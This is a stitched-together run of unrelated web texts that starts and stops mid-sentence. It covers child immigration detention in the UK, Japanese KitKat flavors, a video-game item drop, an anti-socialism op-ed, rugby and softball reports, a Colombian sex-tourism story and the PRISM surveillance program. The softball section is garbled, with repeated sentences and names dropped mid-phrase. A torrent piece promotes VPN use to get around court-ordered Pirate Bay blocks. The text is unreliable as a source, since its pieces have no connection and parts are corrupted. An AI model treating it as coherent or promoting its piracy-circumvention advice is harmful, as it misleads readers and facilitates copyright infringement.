or three occasions, access to a toilet was denied throughout the whole journey despite urgent requests to stop." If a parent treated their children like this, they might well be charged with neglect. Treatment at Yarl's Wood Unsurprisingly, children locked up in Yarl's Wood described it as being "like a prison". Their emotional state was often fragile, their having been ripped from the life they had known with no idea what had happened to their belongings or the pets they have been forced to leave behind and without the chance to say goodbye to their friends. "One child asked us what the time was. When we replied with the time and the day he appeared sad and told us, "Oh, I thought it was a Saturday. If it was a Saturday I would be swimming with my friends now." This picture, drawn by one young child and reproduced in the report, says that it is 0900, "it's a Sunday and I want to play football and I support Liverpool". The healthcare of the children at Yarl's Wood was also found to be poor, in particular the need to ensure that youngsters are protected from disease when they are returned to their country of origin. "Preventative healthcare arrangements prior to removal, for example immunisations and the provision of malaria prophylaxis, were found to be so inadequate as to endanger children's health." Since the visit, the private contractor which runs Yarl's Wood, Serco, has appointed a head of clinical governance and a paediatric nurse. Sir Al's findings relate to a visit almost a year ago, a year in which the government has agreed to adopt fully the UN Convention on the Rights of the Child (see previous post, UK to give up child rights opt-outs). Article 37 of the convention states that the detention of a child "shall be used only as a measure of last resort and for the shortest appropriate period of time". The children's commissioner believes that this means that the government must put an end to the detention of children "for administrative purposes". He wants "an urgent review" of the system but accepts that nothing can happen immediately. (You can listen here to Sir Al on this morning's Today programme.) The government, on the other hand, signed up to the convention confident that it would not prevent them arresting and detaining children of immigrants who were due for deportation. While today's report welcomes recent improvements and ongoing reviews into the way children are treated by the UK Border Agency, it is not easy to see how the Home Office is going to square its obligations under the convention with its determination to be "tough" on failed asylum seekers with children. In the end, I suspect, lawyers will argue it out and a judge will decide. UPDATE, 17:07: Following this post, the Border and Immigration Minister Phil Woolas has commented: -(CNN) — A freshly made white chocolate and raspberry mix is carefully poured into a piping bag by chef Yasumasa Takagi, one of the most renowned patissiers in Japan After snipping the end of the bag, he squeezes the delicious pink paste into a tray of oblong, white plastic molds. Surprisingly, Takagi isn't creating an elaborate confection for customers to his fashionable Tokyo cafe; this is something far more modest. It's a KitKat. Most of the world knows the KitKat as an ordinary coffee break snack made from wafers and milk chocolate. In Japan, it's in a completely different league. Here, gourmet versions, pioneered by Takagi, compete with a mind-boggling array of mass-produced flavors that to some palates might border on the bizarre. Wasabi KitKat anyone? How about lemon vinegar? Or pumpkin pudding, green tea, Shinshu apple or adzuki bean sandwich? It's a long way from the KitKat's humble origins in 1930s England. Born in the northern city of York, the chocolate treat was relatively unknown globally until local manufacturer Rowntree was bought by Swiss food giant Nestle in the 1980s. Winning formula Even as it spread across the planet, success was never guaranteed in Japan -- a market notoriously difficult to break into for non-domestic brands. So how has it become such a phenomenon? That's down to some hard work and smart ideas from KitKat's Japanese marketing gurus in the western city of Kobe. And also a lucky quirk of language. KitKat sounds very similar to "kito kato," which in Japanese means "to surely win." Chef Takagi mixes up new flavors in his kitchens. CNN It's a common phrase said to students sitting exams, particularly high-pressure university entrance tests. Soon after they arrived in Japan, KitKats were being given by parents to their children and friends were giving them to each other with hand-written messages -- and not just around exam time. "There was strong emotional bonding going on and the 'gifting emotion,'" says Ryoji Maki, marketing manager for KitKat in Japan. Flavor riot Rainbow of flavors: Japan's KitKat kaleidoscope. CNN He says Japan's gift-giving tradition and particular culinary habits -- prizing seasonal and regional products -- were tapped into. But it wasn't until the early 2000s that KitKat in Japan began to show its true colors with a riotous expansion in flavors. Consumers in Japan demand choice and novelty as much as they prize tradition. According to Maki, about 2,000 new confectionery products are released each year in Japan, so it's not enough to just offer dark or milk chocolate variations. To date there have been more than 300 different KitKat flavors. Ingredients are sourced from regions across the country, often produced and sold to coincide with food seasons in limited edition boxes of KitKat minis. Shizuoka prefecture provides the wasabi. Okinawa gives up its purple potatoes and matcha green tea. Other unlikely flavors are sakura (cherry blossom) and sake (non-alcoholic). Taking the bars out of the shops and into Japan's eateries has also been another strategy. Tie-ins have gone beyond straightforward desserts like cheesecake, resulting in curiosities like KitKat pizzas and "baking bars," designed to be cooked before eating. Since 2012, KitKat has started to eclipse homegrown confectionery brands such as Meiji. Limited edition Confectionery king: KitKat has become a best seller. CNN About four million KitKat minis (a smaller, two-finger version of the classic bar) roll out of the chocolate factory each day -- that's close to 1.5 billion each year. And it doesn't stop there, which is where patisserie supremo Takagi comes in. "After I gained training at various famous shops in France and Belgium, I thought that it was my mission to fill the gap between Western countries and Japan," says Takagi. Initially approached about a collaboration with KitKat, he rejected it. "I believed I couldn't create chocolate freely without ties," he says. A decade of discussions and negotiations later, convinced he had free rein to experiment within his own high standards, Takagi agreed to open his kitchens to KitKat. They now produce very limited edition high-quality KitKats, using couverture chocolate, that can only be found in his shops and eight of Japan's high-end department stores through KitKat "Chocolatory" concessions. "Chocolatory" concessions around Japan sell the exotic bars under KitKat chandeliers. CNN The first opened in Tokyo in January 2014 and sold out of Chef Takagi's specialty bars in hours. Since then he's been advocating for new flavors and pushing out new products, from the single-finger Sublime range to "special" flavors that include fruit or tea-infused minis. Visitors to Japan can get their hands on Chef Takagi's current range from under KitKat chandeliers (yes, really) at the Chocolatory concessions. Gift boxes in limited-edition flavors are on sale at major train stations and airports. There are no concrete plans for export, but if Takagi is able to convince a global food giant operating in one of the most competitive markets in the world to change their approach, don't rule it out. "What I would most like to achieve is to deliver Japanese KitKat Chocolatory with craftsmanship to the people around the world," he says. -Booster Gold is back at it again, bringing you a Time Capsule perfect for prime time! Available today, the new Team-Up Time Capsule can now be earned and unlocked in-game. If you’re looking to learn more about how to get, open, and use a Time Capsule, check out our helpful guide! TEAM-UP TIME CAPSULE Each Team-Up Time Capsule contains some items from a general list, including Soder Cola Ultimates, R&D Exobytes, complex materials, collections, and more. They may also contain the new Magic Supply Crystal trinket, a new magic-inspired version of the Supply Drop trinket. Every Time Capsule also includes one of four sub-capsules, or boxes, that can contain the following items or related collection pieces: High-Density Tactical Gear Inspired by everyone’s favorite archer Green Arrow, the High-Density Tactical Gear set can be collected in pieces from the Team-Up Time Capsule. When consumed, the pieces will be level-appropriate to your character. If you want to trade them, be sure to do so BEFORE you attune them! Plus, you can upgrade to the Enhanced High-Density Tactical Gear for an even more impressive look. Collect enough of the standard gear and Fabricated Motes for this stylish set! Tactical Mods A new series of Tactical Mods are available in the Team-Up Time Capsule. These mods fit into the leg slot and restore a small portion of your Health when using specific abilities. You can also remove these mods using the Tactical Mod Removal Kit for 20 Marks of Victory. Team-Up Emblems Eight iconic new emblems are featured in this capsule, including the Flash emblem! Collect them all for special feats. Just like the High-Density Tactical gear, you can upgrade these emblems to emissive versions using Fabricated Motes and recipes. Which emblems will you and your team sport? Team-Up Provisions Finishing certain collections from the Team-Up Time Capsule will grant you access to these three incredible styles: the Black Flash Cowl, the Lazuli Misted Aura, and the Negative Speed Force Material. AVAILABLE NOW – the Team-Up Time Capsule is now dropping in the game! -Too many of us have forgotten the lessons of the Cold War. Headlines about “the end of the republic” litter political commentary across the political landscape. They usually mark the beginning of a discussion of the merits of Donald Trump as president of the United States, but his ascendency is not the leading sign of a collapse of American society. For that, see a recent poll indicating a tectonic shift occurring in the political preferences of U.S. adults. When you consider current trends in cultural norms and widely held beliefs, you will see that we are headed toward the end of the American experiment. Advertisement Advertisement The American Culture and Faith Institute recently conducted a survey of adults 18 and older. It shows not only how deeply divided Americans are on some issues but also how their view of the nation stands in many cases in stark contrast to our nation’s founding principles. Most Americans (58 percent) see themselves as politically moderate, while a quarter identify as conservative, and 17 percent as liberal. Those who were both socially and fiscally conservative, the group tracked by the ACFI in greatest detail, were 6 percent of the population. But those differences don’t reveal the greatest divide and danger to America’s future. “The most alarming result, according to [George] Barna, was that four out of every ten adults say they prefer socialism to capitalism,” the ACFI noted in its commentary on the poll. “That is a large minority,” Barna said, “and it includes a majority of the liberals — who will be pushing for a completely different economic model to dominate our nation. That is the stuff of civil wars. It ought to set off alarm bells among more traditionally-oriented leaders across the nation.’” That 40 percent of Americans now prefer socialism to capitalism could spell major change to the policies advanced by legislators and political leaders and to the interpretations of judges ruling on the application of new and pre-existing laws. Advertisement How did we get here? The popularity of Bernie Sanders, whose 2016 presidential campaign was marked by an altruistic spirit and a consistent value system, is of course not the cause of this movement in public opinion but rather an indicator of it. Many Americans have forgotten the lessons of the Cold War and the disasters witnessed in the crumbling economies and failed polities of Communist and socialist countries in the 1990s. Communism was on its last leg, it appeared, and its little brother socialism was not far behind. Little did we know that the fires of socialism were being stoked in corners all across America where it is held in higher regard than in nations that have suffered under it. It is obvious where such thinking abounds and continues to spread: in our colleges and universities. The ideologies of professors and educators have proven stronger than facts: The “benefits” of socialism and Communism are taught from the Ivy League to the local community college. A generation has been taught a lie, and they now believe it. Advertisement Advertisement Americans who believe in limited government, welfare reform, and states’ rights should look over their shoulder and realize that a dangerous ideology is gaining ground. A crowd that you thought history had left behind is growing. It prefers an America that would look drastically different from what it has been from its founding through the present day. One reason that such a dangerous political construct has advanced is that left-leaning activists have hijacked terms of the debate and muddied the popular understanding of political language. Consider that more than 80 percent of all respondents to the ACFI poll said they supported traditional values, as did nearly 70 percent of those who identify as liberal, even if in fact they tend to be socially progressive. Barna described those who in the poll were identified to be liberals. They are a group among whom three-fourths support same-sex marriage; seven out of ten advocate legalized abortion; a majority want socialism to replace capitalism; and nearly one out of five claim to be LGBT. It’s hard to imagine which ‘traditional moral values’ they are referring to. This oddity does, however, reflect how the ideological Left consistently appropriates language and imputes new meaning to terms that are known and popular. The survey data raise the possibility that liberals may redefine “traditional moral values” to include beliefs and behaviors that are not at all traditional — or moral, from a biblical perspective. Advertisement Advertisement Advertisement It all depends on what the definition of “values” is. “Freedom isn’t free” is inscribed on the Korean War Veterans Memorial in Washington, D.C., reminding all who visit of the blood and treasure that has been paid to end tyrannical rule abroad. That America itself may become a socialist country must be abhorrent and foreign to the many who have fought, and to those who still fight, for free markets, traditional values, and capitalist ideals. Conservative and traditionally minded Americans can no longer assume that their neighbor believes what they believe or that he defines the terms of political discourse the same way. The country has changed. Sadly, Barna is only partially wrong that this divide is the stuff of civil wars. In this case, the civil war is fought not directly and openly, with bullets and bombs, but with an intellectual assault on history and facts — a quiet revolution. It is time to play both the short and the long game. Now is the time to speak out and educate all who will hear about the history of this nation and the benefits of traditional values, free markets, and capitalism, which, though not perfect, are better than all the alternatives. Those who love this nation and the ideals of our experiment in liberty must counter the gainsayers in academia and the media or they will soon find that America as “one nation under God” is no more. -After the recent crackdown on Torrentz and KickassTorrents, it seems like it’s time for Pirate Bay to face the music from rights holders around the world. The site has become the freshest victim of copyright laws and may be blocked in Australia before Christmas! This has prompted torrenters in Australia to search for alternatives to Pirate Bay. The Federal Court of Australia has passed a landmark decision that will prompt all internet providers operating within the country to block five “copyright-infringing” websites. The list includes Pirate Bay among other popular torrent-indexing websites. The federal Court gave ISPs just 15 days to make sure that the sites are blocked. Other torrent-indexing websites that will be blocked as per the ruling of the Federal Court include Torrentz, TorrentHound, IsoHunt, SolarMovie. However, it is the shutdown of Pirate Bay in Australia that has many torrenters worrying about how they’ll spend their holidays. However, where one door shuts down, many more open up! One of the best ways to circumvent this ban is to use a fast, reliable and affordable virtual private network (VPN) connection. While in Australia, you can still access The Pirate Bay with Australia VPN. A VPN not only masks the IP address of the internet user, but also makes you anonymous online, thus facilitating you to download torrents anonymously in Australia. To get the best torrenting experience, Sign up for Ivacy, the best VPN service for Australia now. Looking for the Pirate Bay Alternatives? Here are the top 5 Pirate Bay alternatives that will make your holiday season an exciting one! Top 5 The Pirate Bay Alternatives Here are the top 5 Pirate Bay Alternatives that are still live and kicking! 1337x YTS Lime Torrents RARBG Zooqle 1. 1337x 1337x happens to be one of the notable torrent websites and was launched in the year 2007. It garnered traction when the major torrent websites started to come under fire. People wanted a fall back plan and there it was, 1337x! The dedicated set of users and uploaders keep the site fresh and up-to-date with content. Be sure to hide your IP with Be sure to hide your IP with Ivacy VPN before downloding torrents. 2. YTS -MS Surface Book Review The Surface Book was all that I anticipated. It's an amazing laptop first and foremost, but it's also an amazing tablet. The specs on this model make all of the applications load quickly and easily. The display is super sharp with vibrant colors. The key board feels a little larger than most, but when compared to an Dell of the same size there really is no difference. As mentioned, the laptop features are first, but with the touch of a button, the display pulls up from the keyboard allowing you to easily care the device in tablet mode. It runs all of the current Office products (Word, Excel, PwrPoint, etc.,) extremely fast and it's very noticeable. However, you must consider the I7 Inter Processor along with the 16 GB of RAM and the super quick 512 GB SSD. All in all, the MS Surface Book is Microsoft's answer to Apple's hardware and software designs. Good job, Microsoft.Read full review Verified purchase: Yes | Condition: Pre-owned -What former Bok coach NICK MALLETT had to say on SuperSport about the past weekend's Super Rugby matches involving South African teams. Cheetahs vs Bulls ‘Both the Bulls and the Cheetahs have adopted this playing style of using the width of the field and playing off their halfbacks. But you still have to commit. If you just catch and pass the whole time, then the defence just shifts with the ball. You have to actually run at a defender and time your pass so that you fix the defender to stop him from going across. What was interesting is the Cheetahs’ philosophy to move the ball around until they could get their kicker into a good position to clear for touch. ‘The Cheetahs scored some excellent tries and were leading comfortably and then the Bulls had a really good comeback with a burst of two tries. ‘One of the key things we have to mention about this Cheetahs team is that Uzair Cassiem has been passing before taking contact and it’s so nice to see. He is a big, physical flank who takes the ball up a lot with pick and go's. But in the lead-up to the Cheetahs’ first try, he gets out to the wing and pops a lovely pass inside to Paul Schoeman before contact and allows them to get forward momentum. And Cassiem also threw that exquisite pass for one of Oupa Mohoje’s tries. I thought the Cheetahs were disrupted by Cassiem going off at half-time because of a knee injury. ‘We mentioned last week that the Cheetahs made a number of handling errors which cost them the game against the Lions. This weekend, their decision-making of when to pass and when not to pass were far better. The Bulls don’t have such a heavy pack and the Cheetahs moved the ball to different areas of the field that made it difficult for the Bulls to defend. If you run straight at a Bulls player, he will tackle you, but the Cheetahs were running good angles and passing just prior to making contact. The breakdown was always beyond the advantage line so every Bulls player had to retreat backwards to get in position as opposed to running forward with an offensive hit. And that is credit to Franco Smith’s attacking play that he brought into the Cheetahs set-up. ‘The Bulls are coming out of the line so quickly that no one is setting in as the first and second defender, which is why there is no organisation. They are on the back-foot all the time. ALSO READ: Five takeaways from past weekend ‘It’s interesting that Handré Pollard has started both games for the Bulls and we know how good he is. But I imagine had he been a New Zealand player he would have played off the bench. They should have started with the guy who did well the whole of last year [Tian Schoeman], perhaps giving Pollard 20 minutes in his first game back and 40 minutes in the second match against the Cheetahs. 'But what really cost the Bulls were the 38 handling errors they made compared to 13 by the Cheetahs. That is three times as many handling errors. If you are going to try and play a ball-in-hand game, you better made sure to hold onto the ball. The Cheetahs were much better at doing that than the Bulls. ‘We’re focusing a bit too much on Pollard. We ought to focus on the Bulls pack. In both their games to date, the pack only got into the game in the last 20 minutes. For 60 minutes the backline didn’t really get much ball and Pollard was substituted after 60. I don’t care if you put Dan Carter behind a pack going back like that, he is not going to look like a good player. That’s where the Bulls problem lies and that’s what needs to be solved. The Bulls lost four lineouts against a Cheetahs team that we thought was supposed to be weak in the lineouts. ‘We can’t keep on saying it’s because they have pack of forwards. The Bulls need a prop, a fetcher and they are missing a creative loose forward. They have bashers in the loose trio as opposed to someone who can make the little passes, a linking player like Cassiem and Michael Hooper, and like Rob Louw was in the past. If the pack manages to get at least a tighthead prop so that they can win their own ball without collapsing and giving a penalty away, when we can start talking about the play of Rudy Paige and Pollard and compare them in a fair way. They can blame a bad start all they want, but it’s actually a lack of first-phase ball that is causing them all this trouble. Against the Stormers it was the scrums and against the Cheetahs it was the scrums and the lineouts.’ ‘And it was interesting to see when Warrick Gelant came on, that the wingers Jamba Ulengo and Travis Ismaiel were far more prominent for the Bulls than prior to that. My feeling is that Jesse Kriel doesn’t get the best out of the wingers. To give Kriel credit, they didn’t have much possession. But even so Jesse and the two big centres that the Bulls utilise are not creative enough to create space for the outside backs. I thought they looked really good in the last 15 minutes with Gelant on the field, but it was too little too late.’ ‘We were treated to some good wing play today. Ismaiel made one mistake with that little knock-on at the end. Ulengo was good under the high ball and very physical. But Raymond Rhule was unbelievable. He improved his tackling and is unrecognisable from the player he was two years ago. Wingers are not a problem in South Africa , so let’s not start putting our No 9s on the wing again.’ VIDEO: Highlights of Cheetahs vs Bulls DHL Stormers vs Jaguares ‘From a Stormers point of view there were a lot of defensive weaknesses. There was a lot of physicality in that Jaguares side and the Stormers didn’t tackle them backwards, which allowed the visitors to get front-foot ball, especially later on in the game. The Stormers got both first-half tries with little kicks, one well-constructed but the other one fortunate because it came off the heel of Jano Vermaak. They have to learn to be better with offensive kicking. Offensive kicking is the secret against really strong defence. ‘The Stormers have a good offloading game, but 24 handling errors are just too many for a team wanting to get into the Super Rugby playoffs and to compete with New Zealand teams. ‘The Jaguares have this absolute determination not to allow a team to score from around the fringes of a ruck and they are prepared to do anything to stop it. We had a penalty try, and Santiago Iglesias came around the side and that could arguably have been another yellow card. And these are lessons they have to learn. Their discipline has to improve. Four yellow cards in two games are far too many. ‘The one positive they can take out of the game is the powerful ball carrying of the forwards that we saw against the Stormers. The two flankers, Tomás Lezana and Pablo Matera, were outstanding and the tight forwards carried well and ran good angles, like that brilliant run that set up Santiago Cordero’s second try. They really tested the Stormers defence in close. It was a much more physical affair for the Stormers.’ VIDEO: Highlights of Stormers vs Jaguares Lions vs Waratahs ‘This was an incredibly loose game. You’re not going very far in the competition if you concede five tries, even if you score eight yourself. The Lions need to really tighten up on defence. 'Ross Cronjé deserved the Match of the Match award. He doesn’t have the most fantastic pass in the world, but he is a nugget, gritty player who makes defences concentrate because of his good step around the fringes and he tends to made good decisions with his passing under pressure.’ VIDEO: Highlights of Lions vs Waratahs Round two wrap ‘South African teams were involved in some close and exciting games this weekend. What worries me is the New Zealand teams. There’s a big difference between us playing derbies against each other and then playing against a Kiwi side. We’ll only know where we are once we start playing against them. ‘In terms of the tournament, New Zealand teams still lead the way. But I think we’re ahead of Australian sides, who are really battling at the moment.’ *Note: Mallett did not comment on the games between the Brumbies and Sharks in Canberra and the Sunwolves and Kings in Singapore. ALSO: Sharks, Cheetahs score big wins Photo: Johan Pretorius/Gallo Images -Publications that specialize in Medical Marijuana Advertising are now common place in many states. Federal law makes it illegal for any person to place an advertisement for a controlled substance. Up until now, courts have generally interpreted that to mean that the person paying for the ad would be responsible, but now officials are saying that media outlets themselves could be held accountable because they are the ones physically placing the ad for publication. My personal message to Mrs. Duffy: I'm well aware of the message that these ads send to our children. They send the message that marijuana is a natural medicine that can help with a whole slew of debilitating illnesses. They send the message that marijuana can ease the suffering of people who really need it. I think the message being sent to our children is exactly the one that needs to be sent. People like you go around spreading disinformation and demonizing what is essentially a medicinal herb. Why not start a campaign against advertising St. John's Wart instead? It makes just about as much sense as attacking marijuana. In another sign of the Obama Administration's escalating war on medical marijuana , Federal prosecutors in California announced Wednesday that they are set to begin actively targeting newspapers, radio stations and other media outlets that advertise medical marijuana.U.S. Attorney Laura E. Duffy, a prosecutor in San Diego, is leading the effort.“I’m not just seeing print advertising,” Duffy said in a recent interview with California Watch and KQED. “I’m actually hearing radio and seeing TV advertising. It’s gone mainstream. Not only is it inappropriate – one has to wonder what kind of message we’re sending to our children – it’s against the law.” -With tonight's win, Florida is now 44-3 and still holds the highest win percentage (.936) in the country. Florida, who's currently in first place in the SEC standings, holds a 14-3 mark in conference play for the first time since 2012 when the Gators were 15-2 through 17 league games. Florida's senior class is now 217-31, which currently ranks tied for fifth among four-year class records in program history. This year's group is now tied with UF's 2014 graduating class that went 217-47 throughout its four seasons. Taylore Fuller , Kirsti Merritt , Aubree Munro , Taylor Schwarz and Kelsey Stewart are trying to catch UF's 2011 class which boasted a 238-33 mark during their four years. Tim Walton is now just four wins away from his 600th win at Florida. Walton earned his 700 th career win on March 12 at Auburn. is now just four wins away from his 600th win at Florida. Saturday's game was broadcast on SEC Network+. Florida is now 24-2 in contests that are streamed online. Florida is now 28-0 against unranked opponents this season. UF has now outscored its opponents this season, 292-46. In 2015, UF had a plus-246 run differential (333-87) through 47 games. In 2014, UF had a plus-213 run differential (317-104) through 47 games. Florida's 46 runs allowed through 47 games is the second fewest in school history through this point in any season. UF's 2009 squad allowed 40 tallies through 47 contests and Florida's last two NCAA Championship teams had allowed 85 runs each, respectively. The Gators have made just 20 errors this season and currently sport one of the best fielding percentages (.984) and earned run averages in the nation (0.86). For comparison, Florida had committed 27 errors through 47 contests last season and had a fielding percentage of .978. UF went on to record a .981 fielding percentage and commit just 33 errors, which are both school records. Florida's astounding 0.86 team ERA (302.2 IP) would go down as the second-best ERA for a single season in program history if the season ended today. Top ERA Season's in UF History: 2008 – 0.92 ERA (512.0 IP) 2009 – 0.69 ERA (444.0 IP) Florida's miniscule .158 batting average against (302.2 IP) would go down as the best b/avg. for a single season in program history if the season ended today. Top B/Avg. Season's in UF History: 2008 – 0.176 b/avg. (512.0 IP) 2009 – 0.161 b/avg. (444.0 IP) UF did not allow a stolen base on Saturday, remaining the only team in the SEC who has yet to allow more than three stolen bases in 2016. In addition, three stolen bases is the fewest Florida has allowed in school history through 47 games. Florida's opponents have only attempted to steal nine bases against Aubree Munro and Florida's catchers this season. That mark would shatter Florida's school record of 25 attempts that was set in 2015. In addition, UF's stolen-base-against percentage of 33% (3-9) this season would be the lowest in school history if the season ended today. Florida's 2003 team currently holds that mark as they allowed just 51.7% (31-60) of runners to steal a base safely. Aleshia Ocasio (16-1), Kelly Barnhill (14-0) and Delanie Gourley (14-2) are looking to become the first trio in school history to all record at least 15 wins in a season. (16-1), (14-0) and (14-2) are looking to become the first trio in school history to all record at least 15 wins in a season. Gourley (150), Barnhill (135) and Ocasio (110) are the second trio in school history to all record 100+ strikeouts in a season. They are trying to become the first trio in school history to all record 150+ strikeouts in a season. Florida's trio of pitchers are looking to become the second group to all throw at least 100 innings in a single season. UF's 2002 group of Amanda Moore (174.2 IP), Amanda Knowles (113.2) and Mandy Schuerman (105.0 IP) last achieved this feat. Innings pitched totals = Delanie Gourley – 108.2, Aleshia Ocasio – 107.0, , Kelly Barnhill – 84.0 Ocasio (136.0, 2015) and Gourley (107.2, 2014) have each achieved this feat once before in their careers. Florida's pitching trio has combined to allow just 46 runs, while they have totaled 395 strikeouts. Both of those numbers lead the SEC. Only two teams in Florida history have ever allowed less than 100 runs in a single season. UF's 2009 squad allowed just 67 runs and its 2008 team allowed 94 tallies. Florida's 395 strikeouts currently ranks ninth all-time in program history for strikeouts in a single season. Ocasio (0.65) and Gourley (0.71) entered this week with the No. 1 and No. 4 ERAs in the country and Barnhill is fourth in strikeouts per game (10.9). After Gourley earned her fifth save of the season, Florida's pitching staff has now recorded 11 saves season. That is the top mark for a single season in Florida history. Gourley joined Ocasio with five saves this season, which is tied for the Florida single season record. Ocasio's astounding 0.65 ERA (107.0 IP) would go down as the second-best ERA for a single season in Florida history if the season ended today. Stacey Nelson currently holds the top two single season ERAs in program history, as she recorded a 0.61 ERA (285.1 IP) in 2009 and 0.75 (352.2 IP) in 2008. Gourley's astounding 0.71 ERA (108.2 IP) would go down as the third-best ERA for a single season in Florida history if the season ended today. Stacey Nelson currently holds the top two single season ERAs in program history, as she recorded a 0.61 ERA (285.1 IP) in 2009 and 0.75 (352.2 IP) in 2008. Hitting Streak: Aubree Munro – nine games (season long & one shy of career long) Kirsti Merritt – four games (one shy of season long) Kelsey Stewart – three games In addition, Kelsey Stewart is now two total bases shy of Lauren Haeger 's program record 494. is now two total bases shy of 's program record 494. Kirsti Merritt recorded her fourth double of the season and her 10 th extra-base hit in the third inning. recorded her fourth double of the season and her 10 extra-base hit in the third inning. Aubree Munro 's three home runs this season ties her single-season high that she set back in 2014. Munro now has eight career long balls. 's three home runs this season ties her single-season high that she set back in 2014. Munro now has eight career long balls. Kayli Kvistad is hitting .500 (15 for 30) over UF's last 10 games with six homers, 17 RBI and eight runs scored. is hitting .500 (15 for 30) over UF's last 10 games with six homers, 17 RBI and eight runs scored. Kvistad and Amanda Lorenz are challenging for the top on-base percentage in school history, as they each have recorded an OBP of .547 and .512 thus far this season. Bailey Castro set the program record a season ago when she reached base at a .536 clip. are challenging for the top on-base percentage in school history, as they each have recorded an OBP of .547 and .512 thus far this season. Amanda Lorenz , who's currently hitting .386, is on pace to record the highest batting average for a freshman in school history. In addition, she could become the first rookie in program history to have an on-base percentage over .500. Kelsey Stewart holds the batting title as she hit .378 during her freshman season in 2013. , who's currently hitting .386, is on pace to record the highest batting average for a freshman in school history. In addition, she could become the first rookie in program history to have an on-base percentage over .500. Other freshman ranks that Lorenz is climbing into: Runs Scored – T-7 th (43) Doubles – T-7 th (10) Walks – 6 th (36) Florida now leads the all-time series with Mississippi State, 32-19; this including a 18-8 advantage at home. Since Tim Walton became Florida's head coach before the 2006 season, the Gators are now 23-3 against the Bulldogs. Promotions Kids Run The Bases All kids 12 & under can run the bases following the game! Seniorhit her first-career grand slam and sophomoreearned her 16th win in the circle during Saturday's series-clinching win, as No. 1 Florida (44-3/14-3 SEC) downed Mississippi State (24-22/3-14 SEC), 6-3.Munro, who's currently on a nine-game hitting streak, is hitting .542 (13 for 24) during this streak with three home runs, two doubles, one triple, 11 RBI, and seven runs scored.The Gators overcame a two-run third-inning deficit with six runs in the bottom of third to mark Florida's seventh come from behind victory in 2016. In the circle, Ocasio (16-1) allowed two runs on five hits and three walks with a season-high seven strikeouts over five innings.Ocasio allowed two runs in a game for the first time since June 1, 2015.Juniorrelieved the sophomore in the sixth and tossed two scoreless innings with one strikeout to earn her fifth save of the season and 12of her career. The Lakeside, Calif. native ranks third in in Florida history with those 12 saves as Stacey Nelson (18) and Hannah Rogers (14) hold the top two marks in program lore.Mississippi State wasted no time grabbing its first hit and run of the series on Saturday. After Ocasio walked the leadoff hitter in the top of the first, MSU's Mackenzie Toler recorded an RBI double down the left-field line to score the game's first run.In the top of the third inning after a leadoff triple by Kayla Winkfield, Mississippi State extended its lead to 2-0 on an RBI single by Caroline Seitz.Undaunted, Florida answered in the bottom of the third inning.With runners on first and second with two outs, seniorrecorded a two-run double into right-center field to tie the game at two runs apiece.After a hit by pitch and walk loaded the bases, seniorhit Florida's first grand slam of the season to left-center field to give the Gators a 6-2 lead.Mississippi State scored the game's final run in the fifth when MSU's Amanda Ivy recorded a two-out RBI double into right-center field.Head CoachOn Florida's pitching…"I'm not going to take anything away from Aleshia (Ocasio). Mississippi State just found a way to hit her better than most teams have this season, and that's why we changed it up with Delanie (Gourley) at the end of today's game."On Florida's offense…"If you would have asked me who would've have had the biggest hits today, I would have said it would be (Aubree) Munro and (Kirsti) Merritt. Both of them have hit Alexis Silkwood pretty well historically. They both hit it out of the ball park last year a couple of times, so I think there was a right on left match-up there that's favorable to them. Both Aubree and Kirsti had really nice swings in the third inning. I thought we were patient enough at the plate earlier to get into that situation where we weren't chasing pitches."This series concludes tomorrow at 5 p.m. on SEC Network and it can be heard on Florida Sports Talk (WGGG-AM & WMOP-AM/FM). Live stats links for the contest can be found on the Gators' schedule page Sunday:In the Polls: NFCA -A Colombian resort which is currently promoting a prostitute-filled “sex island experience” has had its steamy promotional video removed from YouTube. The Good Girls Company’s YouTube account, which was suspended by the site’s moderators as of Friday morning, was advertising its sex-filled getaway with footage of scantily clad women dancing, partying on a yacht, and offering their services to a guest. The on-screen text also promised “unlimited sex” would be included in the price of admission, and that there would be “60 girls” for the 30 guests. NEIGHBOR'S 'MORTIFIED' BY RAUNCHY SEX AT NYC'S PUBLIC HOTEL “Each ticket includes the company of two girls each day for unlimited amounts of sex during the four days of the event,” the company’s website explains of the getaway, which runs from Nov. 24 through Nov. 27 . “At any moment you can switch girls with the other 30 guests.” According to The Independent, guest will also be invited to partake in an orgy on the first day of the getaway, and on the second day, each will have the opportunity for a 30-minute solo encounter with 16 prostitutes at once. The last two nights are reserved for boat parties. CUBA BRINGING BACK 'LOVE MOTELS' TO DISCOURAGE PUBLIC SEX Despite the marketing video being removed from YouTube, tickets to the “experience” are still available online, and cost $5,000 apiece, per the Sex Island website. The website further promises “surprise sexual activities,” “unlimited condoms,” free alcohol and food, luxury yacht parties, and pick up and drop off services from the airport in Cartagena, all included in the price. The resort and the prostitutes are said to be “drug friendly,” as well. Newshub reports that while prostitution is legal in Colombia, facilitating a sexual experience, or pimping, is not. Marijuana and cocaine are also decriminalized in Colombia, so long as users are not carrying more than 20 grams of marijuana or 1 gram of cocaine for personal use. FOLLOW US ON FACEBOOK FOR MORE FOX LIFESTYLE NEWS This isn’t the first time the Good Girls Company has made headlines for their risqué services. Earlier this year, the brothel entered the global hospitality industry when it debuted all-inclusive packages to its resort in Cali, Colombia, that included horseback riding, golf, and prostitution services. Prices ran between $599 and $1499, depending on which package a guest purchased. -What is CryptoSummary! all about? The options were not that great ... I invested some money into various cryptocurrencies at different times, and it becamefor me to keep track about myand FAST : checking the current coin value But that didnt tell me anything about the actual value of my investment.. SLOW : logging into my Exchange and check it there But that took unnecessary long and was complicated.. Solution? Well lets imagine you have a direct URL, saved as a bookmark that knows all your open positions and after opening it immidiatelly tells you about how you stand? Thats where CryptoSummary! steps in - just create your custom, personallised URL and save it as a bookmark Example Under the following button there is a URL that shows and analyses three different positions. Check it out Example URL - three open positions -Patrick Semansky / AP The National Security Administration campus in Fort Meade, Md., on June 6, 2013. One day after The Guardian revealed that the U.S. government has been secretly collecting call log data from millions of Verizon customers, The Washington Post reported Thursday that the government’s monitoring of American’s data goes much, much deeper. The FBI and the National Security Agency are mining the servers of the country’s biggest technology companies for the purpose of hunting spies and terrorists. The program, code-named PRISM, is massive in scope and involves web services that many Americans use every day. To make all this shadowy surveillance easier to digest, here are the relevant data points about the massive data collection: (MORE: 7 Things to Know About the Government’s Secret Database of Telephone Data) 9 The number of tech companies involved in the PRISM program. Here’s a list, from an NSA slideshow, including the date when monitoring began: Microsoft (September 2007) Yahoo (March 2008) Google (January 2009) Facebook (June 2009) PalTalk (December 2009) YouTube (September 2010) Skype (February 2011) AOL (March 2011) Apple (October 2012) So far Facebook, Google, Microsoft, Apple, and Yahoo 